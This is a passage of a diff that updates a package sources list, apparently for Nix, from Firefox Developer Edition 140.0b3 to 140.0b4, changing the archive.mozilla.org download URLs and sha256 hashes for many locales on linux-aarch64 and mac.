       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "c36363ce1af201aa457d8a230fd75a5129707ffb75b2c84ad4dd0341314a3df3";
+      sha256 = "f1b2dd8e921d8eebc6bd10b22aca1ce4a48818dba830cae131cf8fe7704e7c6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/tl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/tl/firefox-140.0b4.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "b87af873d33da71a73bfa3e0523b0f9651df8921afa3c8671d73a33ac4925346";
+      sha256 = "8e5dacac1a85e5d6aaccd9939aec63143d1688a657e5dc5f0f4ebfe1094acbe5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/tr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/tr/firefox-140.0b4.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "a7fff70158702ede22335388e1e695f5e7086d4617fc868f7f2c85957820a50e";
+      sha256 = "14ea2292bc55272d784a0f7d8dc8827502f352665c8652d4251f83cd3e2a6fbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/trs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/trs/firefox-140.0b4.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "ae65ea701ac7c4d71d7de0d175ca2886002704c66a9540af81c92c9fea1edb61";
+      sha256 = "3e834c1967efc38e6377fb6e91a40e258b4d3e99561e7d06e7239da0b6db0e6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/uk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/uk/firefox-140.0b4.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "3740e4f2065cbc1cf8e5dd413fb9fb1d735e83f28e036cc70dd17a592a4314db";
+      sha256 = "0cc79f9b74dc4b8bc52a004e6a299dc7c3067edf51af894a9ef93ff865375daf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ur/firefox-140.0b4.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "7f12a9f9e7fbadc91f363259ab25efdd0eb0e7efe876961c5a55d04528a0a8ca";
+      sha256 = "ff89b979a9bb6e97b71386c492d0e3ae05097cd21ca4388f6db28ba441bee705";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/uz/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/uz/firefox-140.0b4.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "430cb9447c248f780752109176652be758e11ae8be6697d9887b427a93d7f4f8";
+      sha256 = "69943a4fdb5137baa73fd3c884cc7d2c4c8d3d3c42103fdb4590aec34206df15";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/vi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/vi/firefox-140.0b4.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "69cbdc59a993867bda380c425cb8817cd332d9527a234530d418a3390d89571a";
+      sha256 = "0c6b0bb20622e3e181148deecd505c22ce7d3eb70cb3bf89fc234ccdd84384bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/xh/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/xh/firefox-140.0b4.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "63fcd5c3aa54cddc831ff612e5a4a81a2d0dbed209884c2f245f1a36daed2cf6";
+      sha256 = "fb13b9888715720ceca991f449e47ed05154f29f080bfe4c99ee494ac92cf86d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/zh-CN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/zh-CN/firefox-140.0b4.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "df7072dca96da6164e8ce0b523eb0f09b5f68a11d53bd9eab0c81ee158e823e8";
+      sha256 = "fa37aa2739232658cb0d947f15ba2839c8b28debb0d3bafae1805a8fc065580a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/zh-TW/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/zh-TW/firefox-140.0b4.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "5bc5002bf66948e837eaf42a0b397766416f14c539ab1684e1400b2febb59b5d";
+      sha256 = "7d300dfc2bf2effa515b05c7e8f51c9c3388024a311c6da9fed1d463bd1946f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ach/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ach/Firefox%20140.0b4.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "b91a4b800d350b018789a6cb08bbeb6e557ef492b79f03c2479fa931eb5eba55";
+      sha256 = "fcc7f8310a689c595c387709685af98b4acc71d02ebf83b4b88a5747d15e7bec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/af/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/af/Firefox%20140.0b4.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "4cf3232c157eab869704d49f8215f1096f421aa58a5a2653ee6fe186375118f6";
+      sha256 = "92b2731ca8e8590d7f5c69e48ee196f4a0a34dceaac8eafc3773c15f7fee1d77";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/an/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/an/Firefox%20140.0b4.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "26b0318f7d6b8e6d4512fbca50df1b0848ac6df708eadb6d35ff557214bed2a3";
+      sha256 = "ca7e1a463cd090e64e798b6f6563e9751b1aa2d4b1227c500bb111c53b3fdee9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ar/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ar/Firefox%20140.0b4.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "3de6a419eeaf8e2b7abd6204856604d52dafbe9457a261d99258a34fd9883d34";
+      sha256 = "f6944b6bd4b086efa5b60a0605709adc737ba1a4ecfa4e689e124331465eff76";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ast/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ast/Firefox%20140.0b4.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "506566a4074aa217fe718145d68f5792310816bef7d03412796925eb2f497b2b";
+      sha256 = "e834ba503dc7fdbdbdf69a516126cb16cdb089eddd1b2773e00c5cc0ff4d7658";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/az/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/az/Firefox%20140.0b4.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "6b4d36108ea50db402e5dde3722c251150037c49e13dce7067119029d831ab38";
+      sha256 = "dd4a9c7d87b2e1af7f87b083910682967cafac68aa1c4c87f6b6dcc69bd0836c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/be/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/be/Firefox%20140.0b4.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "ed5f409da41108e7315499580a848fbc38b6795dbbb4873c1a49b654d3ebcdb0";
+      sha256 = "e6c157e53ef0eabe645ede759f83bcb1e55d3d7da09fb29044edd7e1fd139de0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/bg/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/bg/Firefox%20140.0b4.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "3d89876f2a64a0a089c835efc068cafa8f0611a393bfda1e700fe174ad97ea67";
+      sha256 = "28d50138cca863ee4716f7be693950e468f5442b770dce389081caadb4e86fad";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/bn/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/bn/Firefox%20140.0b4.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "951a928b96768e9223a5cbf15000e6492b6af0fdbdd57ac04a9485dc90750a34";
+      sha256 = "d16a2cfd1bf7602c22153b7de4b7f74485aaf78b09526985390f4d35783134cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/br/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/br/Firefox%20140.0b4.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "b0850a643f67d4f426cc4da800265476ceb3073be86a236e2390209a839f6580";
+      sha256 = "2e9649b9ea8d6da502ce86fcb6a9ed70a4472b58ec7f7a85ea7116c455b8744f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/bs/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/bs/Firefox%20140.0b4.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "b4eaa6d28e13ac082207160093c89de7338194f821d4568a8d48be94e6029cd7";
+      sha256 = "c566fa2adbbfacdb9779a99a7f925e5a6aa8be78afee2fcc9d082806a7a2998f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ca-valencia/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ca-valencia/Firefox%20140.0b4.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "16aa9aa41615fa318661e5ad4cb44993edd8ada4c8a8a5ee6ea2d2ccfd80e4e6";
+      sha256 = "c082e76a703f1d228f45199c0d37f17334720affdf83b9860b538b4fe0381f11";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ca/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ca/Firefox%20140.0b4.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "3943715885230fe7fb60b63dae1d6b970ce075f4ede2888d6bc04600afa0cb1e";
+      sha256 = "ffe9b9bfa9742d259b1da9675005c21a1018d865fc33eb3006a9757b7af9d9cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/cak/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/cak/Firefox%20140.0b4.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "0cfd7036ffce0e751df720c2fdc47461904eb75316040237ffa9ec65869e2171";
+      sha256 = "d6b872285b7db3d977d06e37926250a0d142869c95d60673da38caaadafe6626";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/cs/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/cs/Firefox%20140.0b4.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "88f59df2a7c7f13766f7ecadd41c27502bc7b1194c29aa700e319e268123e469";
+      sha256 = "e37322b24fe1d3248871314095726a8ee53616b102ddb12be11857fb9fb0c72a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/cy/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/cy/Firefox%20140.0b4.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "fd1a8b3fe4094b98de891b401fea4eb082a82e0c207ac79fa430624f2d7e3de8";
+      sha256 = "7859f61b331dd65d9f1e3b10919a9d442cdf8f1edf5419944a5a9ef92428e133";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/da/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/da/Firefox%20140.0b4.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "58ded2505aeeffc23007086e8fa183db81b7a1319a48ee00743aba222f82c43c";
+      sha256 = "7b50efe8bbafe360ceab31db923c61d196402f499bc86d2f402c11b879580581";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/de/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/de/Firefox%20140.0b4.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "62dc719f46113287868cb898f29b2390ff2ad889613ab7b7cecb15b7c14c020a";
+      sha256 = "29f7864de3051dc8c63458a4291a03f5cab7c4f1cfcd038cd4cc097300d3fa32";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/dsb/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/dsb/Firefox%20140.0b4.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "da379eccd174c83b80a88d08f31069b61a687f3bf97536fbaa9815314191a766";
+      sha256 = "5487cbd69515dde8e0205aaa6a8439e13e330ca55869a45f4d3b781d2d4b04f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/el/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/el/Firefox%20140.0b4.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "1e21eef746d5a3fac0bed5fdb3f536e705b947796331af0faaa40b7480e6b7bd";
+      sha256 = "f7c76d6d24897905a6578d58f19645b197d9d646bea1c9bcb499bbbeddd8e965";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/en-CA/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/en-CA/Firefox%20140.0b4.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "cf0551a0409ed7283baf68707ec51312a170faab606c9da859143f7e114884fc";
+      sha256 = "abf69c3363150980bd1c1a84cd3bdf2d39e4715805f11256a1db38e99e431bcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/en-GB/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/en-GB/Firefox%20140.0b4.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "a2ef452fff308991e1c18d2ce14d62c2b8ae51b6a57e4c12d04159ccb625bb8e";
+      sha256 = "cb9c91e78b00589aa06286af20540e0fb7fd99e045a602aa49353db5de84ae07";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/en-US/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/en-US/Firefox%20140.0b4.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "36655b97674d1d06d4beaa9ea6e4a62b9ce8918cde026e3a62d5b72cb8f23d40";
+      sha256 = "41074b15a8244ec003bde022c29f8bdfd9cc07b7761af8840380c5cd8deb07ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/eo/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/eo/Firefox%20140.0b4.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "c264873f843cc4b622a6f21d9608879b317975a06cbb7bf067eb0d67abcab6d6";
+      sha256 = "2b92b43fd83c02243e91d4be7a0a4f32b1ce5ab3f43d2eb98a177ea3fa8c0bde";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-AR/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-AR/Firefox%20140.0b4.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "c70701849574b48d56bccff74d68f61d00728021110b5a66fe6c9cd534e8dd43";
+      sha256 = "5b4f1f32ed3ad38bc47b04faf68944b9c2eb04f85ac3b6f3653b526fb59dfdfb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-CL/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-CL/Firefox%20140.0b4.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "b03e20dcbd79468005bfb5deee8d888aa11d5707d0d9568f8abcfd8d1014adad";
+      sha256 = "603f2ea427bfdfe79bc7087ea3774a4a1deeb8e446f53ea5483e3180e452d59a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-ES/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-ES/Firefox%20140.0b4.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "af7fb0e75d98fabea29580ee313ed18f49062917d73e272b16812c7ad1ba35e3";
+      sha256 = "6364d2a4b7ea39d89f654abaae3a291577e74c8b0b764fbaabcbe0992f583159";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/es-MX/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-MX/Firefox%20140.0b4.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "d62b8c0c305ca45ec857f026bc27157482474be06ab3b13180cbe3dfda7e676d";
+      sha256 = "b1690c817759405a79cbc6a50d616fbccde39cc0d99779ee4753603917c1e37e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/et/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/et/Firefox%20140.0b4.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "595b01bea796801dd3b35256110290a2c746836a57e8a2c7690986bcb96209e2";
+      sha256 = "30b75291e563af62919b75273f442884c9a262fb2a4de542d53027de223f720c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/eu/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/eu/Firefox%20140.0b4.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "4c8f36075976c6de8345bfb7716be26e12bb620d273bff2f951530adfa5b1d3b";
+      sha256 = "2b338cf87087b7a4cd172b72a62a52507076088c0dcae1a9f63fe6c4722a6d11";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fa/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fa/Firefox%20140.0b4.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "cbeedab2fc5fe6c563f49d198aba79007a8e149422e046a2b2ad540d18a80e49";
+      sha256 = "5b1a5509577f307b24065b7f4e88c103306b9937c4d98e49cb9aba97abf2d3a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ff/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ff/Firefox%20140.0b4.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "1820073e2ee74a85a7811e2cf6e8208aac984304e3a060006a4a9c6092357677";
+      sha256 = "cd5b37a95f414be5af6217ab5dcf983a7ffdcfa78e013b9216ed57f3f9d2a224";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fi/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fi/Firefox%20140.0b4.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "35b4de1b611bcb11ab46567d8cbc5eb369f12ca6455823115cd0c6c3d0a28f29";
+      sha256 = "866b567cb5471d434dddbcb58260291b99a322f67b6e203086762083f1967e7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fr/Firefox%20140.0b4.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "df3c9b89144194e4b20244ef8d42b6a2f1b075f5b0afbaacda153af2aff45df3";
+      sha256 = "f5393dcdbdb367bfaf0e1e47ce2a445add9fa265abb87a0c324daceec3a1d0fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fur/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fur/Firefox%20140.0b4.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "b198f7fc147179514be0ebaaa726cd66fce74cfde162d2d32e1756ee20f7d903";
+      sha256 = "e4ef81af4c352ac12a5a3fb3dd5a34dad3c9acf3ac639e20141694da8fbe8ec6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/fy-NL/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fy-NL/Firefox%20140.0b4.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "73abfe375f5f858e82a9aa737f7c07b471f47a21adc861cd7d48643afb6f24dd";
+      sha256 = "54be4106d429b1df2ef2d5e3861712f69ec348b47f9bb2565c191762beab8945";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ga-IE/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ga-IE/Firefox%20140.0b4.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "28bc935a00b9ffd14077aaf3917e4a8595ae3c629f08af32aab3000504130e3d";
+      sha256 = "ee229ef6fa1fe743d5364914c990172e39a9500c2968afc646bacf14a3eb8742";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gd/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gd/Firefox%20140.0b4.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "efca639b23420c79025a977d033a0490ef5577ec993527e9e5780567cbecaf77";
+      sha256 = "1164bff45a4c75283d70a1dfebf12dd0729275a1135be9710830f7a8eb28521b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gl/Firefox%20140.0b4.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "c689143914019a0c824d5b9ebe079d3d0e42a6f8e61083e873c3b5aeae272e1f";
+      sha256 = "1317610e3c18cdbd81c9712cf7e6c3ae589952911347c027d3d3a271ff9b9f97";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gn/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gn/Firefox%20140.0b4.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "e1abb457c9f144a16baaa01e10c4f3ef1d8d55cfa7c10fe32030af14a889dae6";
+      sha256 = "5ed49bb2afa8c6e8197a20576e97957f0688c144605a5f1c35ebed14f7a1fc41";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/gu-IN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gu-IN/Firefox%20140.0b4.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "810bdc63fb5527aae67c2039a87ff1cabc5d0af1d81d0a38e5dd6eaf87e4c38d";
+      sha256 = "3e4ac33879e91fa422d741f477e7c66f947041999732c5d7b7740f2abdc5bb86";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/he/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/he/Firefox%20140.0b4.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "fe8dd8d001ea4ef3ae6d570f177fab07cf66968ca0218c328401030ff673ec46";
+      sha256 = "94f832c1a5a952823ed1571ea3deaf3a9d115b837114a60e13732de0b8211f5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hi-IN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hi-IN/Firefox%20140.0b4.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "b97ea559a077fb24f54ee38b78524d054610f6ddb2dbaf01e0b9efac5aa35073";
+      sha256 = "8e2cfbf7c7e015886592a9983390c56fd251ace396bba5f34b3a2593255b1161";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hr/Firefox%20140.0b4.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "971d6761f8ede73878b1fe75d5ac054187b4039bd36f462a3120c06c5ae2cc62";
+      sha256 = "e48b5b93adf00da2e4a3ce0b4ec9afa2db03e962287d346de188df2c0d6133b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hsb/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hsb/Firefox%20140.0b4.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "f4c952b27fe8eb5d5aca66ce987ee7fea9fa6a34b4effa1199e29d13dcb8c11a";
+      sha256 = "7ab6ff54701b53b258bdb5bd1ab9679cf9acca9c987830d17246dae5d9f141fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hu/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hu/Firefox%20140.0b4.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "bd292cfd5c8dd4134a9f00de09230d76924ae1353ac5b11d51a11ac94208d93d";
+      sha256 = "eec1b7f5d3274267d5c25b7aa3b774bf1b44d15801568c60cfe082064d7372b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/hy-AM/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hy-AM/Firefox%20140.0b4.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "2576beffeed165a63ab65d4abd5890f26b6e5af32b32e9f4cdd4dd0773b605e2";
+      sha256 = "6347058b34660f414784b5f2782bcef72dbd6349461c4a2f0988cce9b9af6793";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ia/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ia/Firefox%20140.0b4.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "06af1775920044c5faa89624a1009eeb8e5d9ca7bfcb3502c0ce1b8d38192e11";
+      sha256 = "6772fdc20c9a174d0e411c57ae3a383fcc840225e6c3c65b052ca54ac2369621";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/id/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/id/Firefox%20140.0b4.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "240e6519207b2b9402c2fa66a5837e97f04cd7c6ea421a81e0b3b23fed7ea51b";
+      sha256 = "a4a4e7a132bddc604ea0b9b323339a730b58fdaa2a1c0c7f06f610149c9a4c58";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/is/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/is/Firefox%20140.0b4.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "e4613a65d2abd33e2eaf260c41a82cf3d1201ed0a11693676d53e448832fd1f3";
+      sha256 = "e6e3f759fa1aa68736b851ae6438ca4eeb7513e7a0e993cb2774c52ed1f2e294";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/it/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/it/Firefox%20140.0b4.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "0d5cd0c510d67dd6c672f43105a1d503dddb724f665eb483a35f83e082106bb0";
